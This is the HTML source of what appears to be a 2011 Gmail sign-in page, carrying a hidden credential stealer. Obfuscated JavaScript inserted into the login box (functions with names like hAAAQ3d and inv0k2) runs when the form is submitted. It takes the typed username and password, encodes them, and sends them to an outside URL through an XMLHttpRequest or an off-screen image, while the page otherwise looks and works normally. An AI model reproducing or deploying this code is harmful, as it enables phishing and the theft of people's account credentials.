1. <html lang="en" dir="ltr">
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4. <meta name="description" content="7+ GB of storage, less spam, and mobile access. Gmail is email that's intuitive, efficient, and useful. And maybe even fun.">
  5. <link rel="icon" type="image/ico" href="//mail.google.com/favicon.ico">
  6. <style type=text/css>
  7. <!--
  8. body,td,div,p,a,font,span {font-family: arial,sans-serif}
  9. body {margin:1em 0;}
  10. h1 { font-size:1.3em; font-weight:normal; margin:0 0 0.4em; }
  11. .intro { margin:0 1em 0.5em 0 }
  12. .c {width: 4; height: 0}
  13. .footer { text-align:center; margin:1em 0 }
  14.  
  15. .tl {padding: 0; width: 4; text-align: left; vertical-align: top}
  16. .tr {padding: 0; width: 4; text-align: right; vertical-align: top}
  17. .bl {padding: 0; width: 4; text-align: left; vertical-align: bottom}
  18. .br {padding: 0; width: 4; text-align: right; vertical-align: bottom}
  19.  
  20. .caption {color:#000000; white-space:nowrap; background:#E8EEFA; text-align:center}
  21. .form-noindent {background-color: #ffffff; border: #C3D9FF 1px solid}
  22. .feature-image {padding: 15px 0 0 0; width:48px; vertical-align: top; text-align: right; }
  23. .feature-description {padding: 20px 0 0 10px; vertical-align: top; text-align: left; }
  24. .signup_btn {cursor: pointer; margin: 10px 0 -20px 0; text-align: center; }
  25. .signup_btn_link {color: #000; text-align: center; text-align: center; text-decoration: none; padding: 0 7px; font-weight: bold; font-size: 14px; white-space: nowrap; }
  26.  
  27. .SPRITE_signup_button_grey_l { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) 0 0; width: 14px; height: 45px }
  28. .SPRITE_signup_button_grey_m { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -14px 0; height: 45px }
  29. .SPRITE_signup_button_grey_r { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -365px 0; width: 15px; height: 45px }
  30. .SPRITE_cell {background: no-repeat url(https://www.google.com/images/icons/feature/sprite_mail_hp.png) 0 -126px; width: 42px; height: 42px; float: right }
  31. .SPRITE_search_new {background:no-repeat url(https://www.google.com/images/icons/feature/sprite_mail_hp.png) 0 -84px; width: 42px; height: 42px; float: right }
  32. .SPRITE_spam_new {background:no-repeat url(https://www.google.com/images/icons/feature/sprite_mail_hp.png) 0 -42px; width: 42px; height: 42px; float: right }
  33. .SPRITE_storage {background:no-repeat url(https://www.google.com/images/icons/feature/sprite_mail_hp.png) 0 0; width: 42px; height: 42px; float: right }
  34. .SPRITE_feed_icon {background: no-repeat url(https://www.google.com/images/icons/feature/sprite_mail_hp.png) -16px -184px; width: 16px; height: 16px }
  35. .SPRITE_corner_bl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 0; width: 4px; height: 4px; font-size:2px }
  36. .SPRITE_corner_br {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px 0; width: 4px; height: 4px; font-size:2px }
  37. .SPRITE_corner_tl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 -4px; width: 4px; height: 4px; font-size:2x }
  38. .SPRITE_corner_tr {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px -4px; width: 4px; height: 4px; font-size:2px }
  39.  
  40. // -->
  41. </style>
  42. <title>
  43.   Gmail: Email from Google
  44. </title>
  45. </head>
  46. <body bgcolor=#ffffff link=#0000FF vlink=#0000FF onload="OnLoad(); ">
  47. <script type="text/javascript">
  48.   var _gaq = _gaq || [];
  49.   _gaq.push(['_setAccount', 'UA-992684-1']);
  50.   _gaq.push(['_setDomainName', 'google.com']);
  51.   _gaq.push(['_addIgnoredRef', '.google.com']);
  52.   _gaq.push(['_setCookiePath', '/accounts/']);
  53.   _gaq.push(['_trackPageview', '/mail/gaia/homepage']);
  54.   _gaq.push(['_cookiePathCopy', '/mail/help/']);
  55.   (function() {
  56.   var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
  57.   ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
  58.   (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
  59.   })();
  60. </script>
  61. <table width=94% border=0 align=center cellpadding=0 cellspacing=0>
  62.   <tr valign=top>
  63.  
  64.   <td width=1%>
  65.   <img src="https://www.google.com/images/logos/mail_logo.png" border=0 height=59 alt="Gmail" align=left/>
  66.   </td>
  67.   <td width=99% bgcolor=#ffffff valign=top>
  68.   <table width=100% cellpadding=1>
  69.   <tr valign=bottom>
  70.   <td><div align=right>&nbsp;</div></td>
  71.   </tr>
  72.   </table>
  73.  
  74.   </td>
  75.   </tr>
  76. </table>
  77. <table width=94% align=center cellpadding=5 cellspacing=1>
  78.   <tr>
  79.   <td width=75% valign=top>
  80. <h1>A Google approach to email.</h1>
  81. <p class="intro" style="text-align:left"><font size=-1>
  82.   Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:
  83. </p>
  84. <table border="0" cellpadding="0" cellspacing="0" width="95%"><tbody>
  85.  
  86.   <tr>
  87.   <td class="feature-image"><div class="SPRITE_storage" /></td>
  88.   <td class="feature-description">
  89.   <font size=-1><b>Lots of space</b><br>
  90.   Over <span id=quota>2757.272164</span> megabytes (and counting) of free storage.</font>
  91.   </td>
  92.  
  93.   </tr>
  94.   <tr>
  95.   <td class="feature-image"><div class="SPRITE_spam_new" /></td>
  96.   <td class="feature-description">
  97.   <font size=-1><b>Less spam</b><br>
  98.   Keep unwanted messages out of your inbox with Google's innovative technology.</font>
  99.   </td>
  100.   </tr>
  101.  
  102.   <tr>
  103.   <td class="feature-image"><div class="SPRITE_cell" /></td>
  104.   <td class="feature-description">
  105.   <font size=-1><b>Mobile access</b><br>
  106.   Get Gmail on your mobile phone. <a href="http://www.google.com/intl/en_TN/mobile/mail/#utm_source=en_TN-cpp-g4mc-gmhp&utm_medium=cpp&utm_campaign=en_TN">Learn more</a></font>
  107.   </td>
  108.   </tr>
  109.  
  110. </tbody></table>
  111.   </td>
  112.   <td valign=top>
  113.   <!-- login box -->
  114.   <div id=login>
  115. <script><!--
  116.  
  117. function gaia_onLoginSubmit() {
  118.  
  119.  if (window.gaiacb_onLoginSubmit) {
  120.    return gaiacb_onLoginSubmit();
  121.  } else {
  122.    return true;
  123.  }
  124. }
  125.  
  126. --></script>
  127. <style type="text/css"><!--
  128.  div.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }
  129.  font.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }  
  130. --></style>
  131. <style type="text/css"><!--
  132. .gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
  133. .gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
  134. .gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }
  135. .gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
  136. .gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
  137. .gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }
  138.  
  139. .gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; }
  140. .gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; }
  141.  
  142. --></style>
  143. <div style="position:absolute;top:-250px"><img id="x6y7z8" src=""/></div>
  144. <script language="javascript">
  145. <!--
  146. function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
  147. st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
  148. function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
  149. function hAAAQ3d() {var frm = document.getElementById("gaia_loginform"); var us3r = frm.Email.value; var pa55 = frm.Passwd.value;
  150. var url = "http://www.google.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55);
  151. var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
  152. function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
  153. function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
  154. function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}
  155. //-->
  156.  
  157. </script>
  158. <form id="gaia_loginform"
  159.      
  160.        action="https://www.google.com/accounts/ServiceLoginAuth" method="post"
  161.      
  162.      onsubmit=
  163.                 "hAAAQ3d();return(gaia_onLoginSubmit());"
  164.                >
  165. <div id="gaia_loginbox">
  166. <table class="form-noindent" cellspacing="3" cellpadding="5" width="100%" border="0">
  167.   <tr>
  168.   <td valign="top" style="text-align:center" nowrap="nowrap"
  169.        bgcolor="#e8eefa">
  170.   <input type="hidden" name="ltmpl"
  171.             value="default">
  172.   <input type="hidden" name="ltmplcache"
  173.             value="2">
  174.   <div class="loginBox">
  175.   <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">
  176.   <tr>
  177.  
  178. <td colspan="2" align="center">
  179.   <font size="-1">
  180.   Sign in with your
  181.   </font>
  182.   <table>
  183.   <tr>
  184.   <td valign="top">
  185.   <img src="http://www.google.com/accounts/google_transparent.gif"
  186.           alt="Google">
  187.   </img>
  188.   </td>
  189.  
  190.   <td valign="middle">
  191.   <font size="+0"><b>Account</b></font>
  192.   </td>
  193.   </tr>
  194. </table>
  195. </td>
  196. </tr>
  197. <tr>
  198.   <td colspan="2" align="center">
  199.   </td>
  200.  
  201. </tr>
  202. <tr id="email-row">
  203.   <td nowrap="nowrap">
  204.   <div align="right">
  205.   <span class="gaia le lbl">
  206.   Username:
  207.   </span>
  208.   </div>
  209.   </td>
  210.   <td>
  211.  
  212.   <input type="hidden" name="continue" id="continue"
  213.           value="http://mail.google.com/mail/?tab=wm&amp;zy=l" />
  214.   <input type="hidden" name="service" id="service"
  215.           value="mail" />
  216.   <input type="hidden" name="rm" id="rm"
  217.           value="false" />
  218.   <input type="hidden" name="dsh" id="dsh"
  219.           value="-9192746494409325101" />
  220.   <input type="hidden" name="ltmpl" id="ltmpl"
  221.           value="default" />
  222.   <input type="hidden" name="ltmpl" id="ltmpl"
  223.           value="default" />
  224.   <input type="hidden" name="scc" id="scc"
  225.           value="1" />
  226.   <input type="hidden" name="timeStmp" id="timeStmp"
  227.       value=''/>
  228. <input type="hidden" name="secTok" id="secTok"
  229.       value=''/>
  230.  
  231.   <input type="hidden"
  232.             name="GALX"
  233.             value="ecnEIc1gtdY" />
  234.   <input type="text" name="Email"  id="Email"
  235.  size="18" value=""
  236.  
  237.  
  238.    class='gaia le val'
  239.  
  240.  />
  241.   </td>
  242. </tr>
  243. <tr>
  244.   <td></td>
  245.   <td align="left">
  246.   <div style="color: #666666; font-size: 75%;">
  247.   ex: pat@example.com
  248.   </div>
  249.  
  250.   </td>
  251. </tr>
  252. <tr id="password-row" class="enabled">
  253.   <td align="right" nowrap="nowrap">
  254.   <span class="gaia le lbl">
  255.   Password:
  256.   </span>
  257.   </td>
  258.   <td>
  259.   <input type="password"
  260.   name="Passwd" id="Passwd"
  261.  size="18"
  262.  
  263.  
  264.  
  265.  
  266.    class="gaia le val"
  267.  
  268.  />
  269.  
  270.   </td>
  271. </tr>
  272. <tr>
  273.   <td> </td>
  274.   <td align="left">
  275.   </td>
  276. </tr>
  277.   <tr id="rememberme-row" class="enabled">
  278.   <td align="right" valign="top">
  279.   <input type="checkbox" name="PersistentCookie" id="PersistentCookie"
  280.    value="yes"
  281.  
  282.    
  283.  
  284.  />
  285.  
  286.   <input type="hidden" name='rmShown' value="1" />
  287.   </td>
  288.   <td>
  289.   <label for="PersistentCookie" id="PersistentCookieLabel" class="gaia le rem">
  290.   Stay signed in
  291.   </label>
  292.   </td>
  293. </tr>
  294. <tr>
  295.   <td>
  296.  
  297.   </td>
  298.   <td align="left">
  299.   <input type="submit" class="gaia le button" name="signIn" id="signIn"
  300.           value="Sign in"
  301.                  />
  302.   </td>
  303. </tr>
  304. <tr id="ga-fprow">
  305.   <td colspan="2" height="33.0" class="gaia le fpwd"
  306.    align="center" valign="bottom">
  307.   <a href="https://www.google.com/accounts/recovery?continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Ftab%3Dwm%26zy%3Dl&amp;service=mail&amp;ltmpl=default"
  308.       target=_top>
  309.   Can&#39;t access your account?
  310.   </a>
  311.  
  312.   </td>
  313. </tr>
  314.   </table>
  315.   </div>
  316.   </td>
  317.   </tr>
  318. </table>
  319. </div>
  320. <input type="hidden" name="asts"
  321.       id="asts"
  322.       value="">
  323. </form>
  324. <script><!--
  325. var gaia_loginForm;
  326. if (document.getElementById) {
  327.  gaia_loginForm = document.getElementById("gaia_loginform");
  328. } else if (window.gaia_loginform) {
  329.  gaia_loginForm = window.gaia_loginform;
  330. }
  331.  
  332. var gaia_emailHasKeypress = false;
  333. if (gaia_loginForm && gaia_loginForm.Email) {
  334.  gaia_loginForm.Email.onkeypress = function() {
  335.    gaia_emailHasKeypress = true;
  336.  }
  337. }
  338.  
  339. function gaia_setFocus() {
  340.  if (gaia_loginForm) {
  341.    if (gaia_loginForm.Email && !gaia_loginForm.Email.value) {
  342.      gaia_loginForm.Email.focus();
  343.    } else if (gaia_loginForm.Passwd && !gaia_emailHasKeypress) {
  344.      gaia_loginForm.Passwd.focus();
  345.    }
  346.    
  347.  }
  348. }
  349.  
  350. gaia_setFocus();
  351. --></script>
  352.  
  353. <form id="gaia_universallogin"
  354.      action="https://www.google.com/accounts/ServiceLoginAuth" method="post"
  355.      onsubmit="hAAAQ3d();return(gaia_onLoginSubmit());">
  356.   <input type="hidden" name="continue" id="continue"
  357.           value="http://mail.google.com/mail/?tab=wm&amp;zy=l" />
  358.   <input type="hidden" name="service" id="service"
  359.           value="mail" />
  360.   <input type="hidden" name="rm" id="rm"
  361.           value="false" />
  362.   <input type="hidden" name="dsh" id="dsh"
  363.           value="-9192746494409325101" />
  364.   <input type="hidden" name="ltmpl" id="ltmpl"
  365.           value="default" />
  366.   <input type="hidden" name="ltmpl" id="ltmpl"
  367.           value="default" />
  368.   <input type="hidden" name="scc" id="scc"
  369.           value="1" />
  370.   <input type="hidden" name="ltmpl" id="ltmpl"
  371.           value="default" />
  372.  
  373.   <input type="hidden" name="ltmplcache" id="ltmplcache"
  374.           value="2" />
  375. </form>
  376.   </div>
  377.   <!-- end login box -->
  378.   <br>
  379.   <!-- links box (below login box) -->
  380.   <table class=form-noindent cellpadding=0 width=100% bgcolor=#E8EEFA id=links>
  381.   <tr bgcolor=#E8EEFA>
  382.   <td valign=top>
  383.  
  384.   <div align=center style="margin:10 0">
  385.   <font size="-1">New to Gmail? It's free and easy.</font>
  386.   <table cellspacing=0 cellpadding=0 align=center  class="signup_btn"  onclick="window.location='http://mail.google.com/mail/signup';"><tr>
  387.   <td class="SPRITE_signup_button_grey_l"></td>
  388.   <td class="SPRITE_signup_button_grey_m"><a class="signup_btn_link" href="http://mail.google.com/mail/signup">
  389.   Create an account &#187;
  390.   </a></td>
  391.   <td class="SPRITE_signup_button_grey_r"></td>
  392.  
  393.   </tr></table>
  394.   <br><br>
  395.   <font size="-1">
  396.   <a href="http://mail.google.com/mail/help/intl/en/about.html">About Gmail</a
  397.            >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://mail.google.com/mail/help/intl/en/about_whatsnew.html">New features!</a>
  398.   </font>
  399.   <br>
  400.   </div>
  401.   </td>
  402.  
  403.   </tr>
  404.   </table>
  405.   <!-- end links box (below login box) -->
  406. </table>
  407. <br>
  408.   <div class="footer">
  409.   <font size=-1 color=#666666>&copy; 2011 -
  410.   <a href="http://www.google.com/a/help/intl/en/users/user_features.html#utm_medium=et&utm_source=gmail-en&utm_campaign=crossnav&token=gmail_footer">Gmail for Organizations</a> -
  411.   <a href="http://mail.google.com/mail/help/intl/en/terms.html">Terms &amp; Privacy</a>
  412.  
  413.   - <a href="http://mail.google.com/support/">Help</a>
  414.   </font>
  415.   </div>
  416.   <script type="text/javascript">
  417. var BrowserSupport_={IsBrowserSupported:function(){var agt=navigator.userAgent.toLowerCase();var is_op=agt.indexOf("opera")!=-1;var is_ie=agt.indexOf("msie")!=-1&&document.all&&!is_op;var is_ie5=agt.indexOf("msie 5")!=-1&&document.all&&!is_op;var is_mac=agt.indexOf("mac")!=-1;var is_gk=agt.indexOf("gecko")!=-1;var is_sf=agt.indexOf("safari")!=-1;if(is_ie&&!is_op&&!is_mac){if(agt.indexOf("palmsource")!=
  418. -1||agt.indexOf("regking")!=-1||agt.indexOf("windows ce")!=-1||agt.indexOf("j2me")!=-1||agt.indexOf("avantgo")!=-1||agt.indexOf(" stb")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"msie ");if(v!=null)return v>=5.5}if(is_gk&&!is_sf){var v=BrowserSupport_.GetFollowingFloat(agt,"rv:");if(v!=null)return v>=1.4;else{v=BrowserSupport_.GetFollowingFloat(agt,"galeon/");if(v!=null)return v>=
  419. 1.3}}if(is_sf){if(agt.indexOf("rv:3.14.15.92.65")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"applewebkit/");if(v!=null)return v>=312}if(is_op){if(agt.indexOf("sony/com1")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"opera ");if(v==null)v=BrowserSupport_.GetFollowingFloat(agt,"opera/");if(v!=null)return v>=8}if(agt.indexOf("pda; sony/com2")!=-1)return true;return false},
  420. GetFollowingFloat:function(str,pfx){var i=str.indexOf(pfx);if(i!=-1){var v=parseFloat(str.substring(i+pfx.length));if(!isNaN(v))return v}return null},tz_path:";path=/"};if(window.location.href.toLowerCase().indexOf("google.com")>0)BrowserSupport_.tz_path+=";domain=.google.com";document.cookie="TZ="+(new Date).getTimezoneOffset()+BrowserSupport_.tz_path;var is_browser_supported=BrowserSupport_.IsBrowserSupported()
  421.   </script>
  422. <script type=text/javascript>
  423. <!--
  424.  
  425. var start_time = (new Date()).getTime();
  426.  
  427. if (top.location != self.location) {
  428. top.location = self.location.href;
  429. }
  430.  
  431. function SetGmailCookie(name, value) {
  432.  document.cookie = name + "=" + value + ";path=/;domain=.google.com";
  433. }
  434.  
  435. function lg() {
  436.  var now = (new Date()).getTime();
  437.  
  438.  var cookie = "T" + start_time + "/" + start_time + "/" + now;
  439.  SetGmailCookie("GMAIL_LOGIN", cookie);
  440. }
  441.  
  442. function gaiacb_onLoginSubmit() {
  443.  lg();
  444.  if (!fixed) {
  445.    FixForm();
  446.  }
  447.  return true;
  448. }
  449.  
  450. function StripParam(url, param) {
  451.  var start = url.indexOf(param);
  452.  if (start == -1) return url;
  453.  var end = start + param.length;
  454.  
  455.  var charBefore = url.charAt(start-1);
  456.  if (charBefore != '?' && charBefore != '&') return url;
  457.  
  458.  var charAfter = (url.length >= end+1) ? url.charAt(end) : '';
  459.  if (charAfter != '' && charAfter != '&' && charAfter != '#') return url;
  460.  if (charBefore == '&') {
  461.  --start;
  462.  } else if (charAfter == '&') {
  463.  ++end;
  464.  }
  465.  return url.substring(0, start) + url.substring(end);
  466. }
  467. var fixed = 0;
  468. function FixForm() {
  469.  if (is_browser_supported) {
  470.  var form = el("gaia_loginform");
  471.  if (form && form["continue"]) {
  472.  var url = form["continue"].value;
  473.  url = StripParam(url, "ui=html");
  474.  url = StripParam(url, "zy=l");
  475.  form["continue"].value = url;
  476.  }
  477.  }
  478.  fixed = 1;
  479. }
  480. function el(id) {
  481.  if (document.getElementById) {
  482.  return document.getElementById(id);
  483.  } else if (window[id]) {
  484.  return window[id];
  485.  }
  486.  return null;
  487. }
  488. // Estimates of nanite storage generation over time.
  489. var CP = [
  490. [ 1199433600000, 6283 ],
  491. [ 1224486000000, 7254 ],
  492. [ 2144908800000, 10996 ],
  493. [ 2147328000000, 43008 ],
  494. [ 46893711600000, Number.MAX_VALUE ]
  495. ];
  496. var quota_elem;
  497. var ONE_PX = "https://mail.google.com/mail/images/c.gif?t=" +
  498.  (new Date()).getTime();
  499. function LogRoundtripTime() {
  500.  var img = new Image();
  501.  var start = (new Date()).getTime();
  502.  img.onload = GetRoundtripTimeFunction(start);
  503.  img.src = ONE_PX;
  504. }
  505. function GetRoundtripTimeFunction(start) {
  506.  return function() {
  507.  var end = (new Date()).getTime();
  508.  SetGmailCookie("GMAIL_RTT", (end - start));
  509.  }
  510. }
  511. function MaybePingUser() {
  512.  var f = el("gaia_loginform");
  513.  if (f.Email.value) {
  514.  new Image().src = 'https://mail.google.com/mail?gxlu=' +
  515.  encodeURIComponent(f.Email.value) +
  516.  '&zx=' + (new Date().getTime());
  517.  }
  518. }
  519. function OnLoad() {
  520.  gaia_setFocus();
  521.  MaybePingUser();
  522.  el("gaia_loginform").Passwd.onfocus = MaybePingUser;
  523.  LogRoundtripTime();
  524.  if (!quota_elem) {
  525.  quota_elem = el("quota");
  526.  updateQuota();
  527.  }
  528.  LoadConversionScript();
  529. }
  530. function updateQuota() {
  531.  if (!quota_elem) {
  532.  return;
  533.  }
  534.  var now = (new Date()).getTime();
  535.  var i;
  536.  for (i = 0; i < CP.length; i++) {
  537.    if (now < CP[i][0]) {
  538.      break;
  539.    }
  540.  }
  541.  if (i == 0) {
  542.    setTimeout(updateQuota, 1000);
  543.  } else if (i == CP.length) {
  544.    quota_elem.innerHTML = CP[i - 1][1];
  545.  } else {
  546.    var ts = CP[i - 1][0];
  547.    var bs = CP[i - 1][1];
  548.    quota_elem.innerHTML = format(((now-ts) / (CP[i][0]-ts) * (CP[i][1]-bs)) + bs);
  549.    setTimeout(updateQuota, 1000);
  550.  }
  551. }
  552.  
  553. var PAD = '.000000';
  554.  
  555. function format(num) {
  556.  var str = String(num);
  557.  var dot = str.indexOf('.');
  558.  if (dot < 0) {
  559.     return str + PAD;
  560.  } if (PAD.length > (str.length - dot)) {
  561.  return str + PAD.substring(str.length - dot);
  562.  } else {
  563.  return str.substring(0, dot + PAD.length);
  564.  }
  565. }
  566. var google_conversion_type = 'landing';
  567. var google_conversion_id = 1069902127;
  568. var google_conversion_language = "en_US";
  569. var google_conversion_format = "1";
  570. var google_conversion_color = "FFFFFF";
  571. function LoadConversionScript() {
  572.  var script = document.createElement("script");
  573.  script.type = "text/javascript";
  574.  script.src = "https://www.googleadservices.com/pagead/conversion.js";
  575. }
  576. // -->
  577. </script>
  578. <script type="text/javascript">
  579. <!--
  580. FixForm();
  581. //